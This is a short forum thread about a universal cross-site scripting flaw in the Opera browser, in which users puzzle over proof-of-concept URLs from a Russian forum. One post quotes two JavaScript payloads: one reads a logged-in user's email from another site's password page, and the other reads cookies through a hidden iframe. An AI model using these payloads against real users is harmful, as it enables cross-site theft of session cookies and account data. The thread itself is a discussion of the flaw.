dslreports logo
site
 
    All Forums Hot Topics Gallery
spc

spacer




how-to block ads


Search Topic:
uniqs
7
share rss forum feed


Name Game
Premium
join:2002-07-07
Grand Rapids, MI
kudos:7
reply to therube

Re: Universal XSS in Opera

Are you able to read all this in English..not just Russian so you can see the other issues he talks about ?

»rdot.org/forum/showthread.php?t=2444



therube

join:2004-11-11
Randallstown, MD
Reviews:
·Comcast
·Verizon Online DSL

1 edit

> Are you able to read all this

Looks like »translate.google.com doesn't work on https: :(.
I'll read through when I've got some time to copy/paste.

This is what one of their URLs does:

<script>if(document.domain=='tinyurl.com')location.reload();
function a(){var x=new XMLHttpRequest;
x.open('GET','https://rdot.org/forum/profile.php?do=editpassword',false);
x.send(null);
alert(x.responseText.match(/name="email" value="(.+?)"/)[1])}</script><body onload=a()>
 

Now that looks more interesting.
I've got a general idea what's happening, but anyone care to shed more light.

Edit, another:

<script>if(document.domain=='tinyurl.com')location.reload();
function a(){alert(document.frames[0].document.cookie)}function b(){var i=document.createElement('iframe');
i.style='width:0px;height:0px;visibility:hidden';i.src = 'http';
i.src+=document.referrer.length?'':'s';
i.src+='://forum.antichat.ru/css/a.css';
i.onload=function(){a()};document.body.appendChild(i)}</script><body onload=b()>
 


Name Game
Premium
join:2002-07-07
Grand Rapids, MI
kudos:7

OK..I use google chrome and it translate the whole thing auto or when you tell it to.

so what is this trying to do ?

»tinyurl.com/preview.php?num=2j54av
--
Gladiator Security Forum
»www.gladiator-antivirus.com/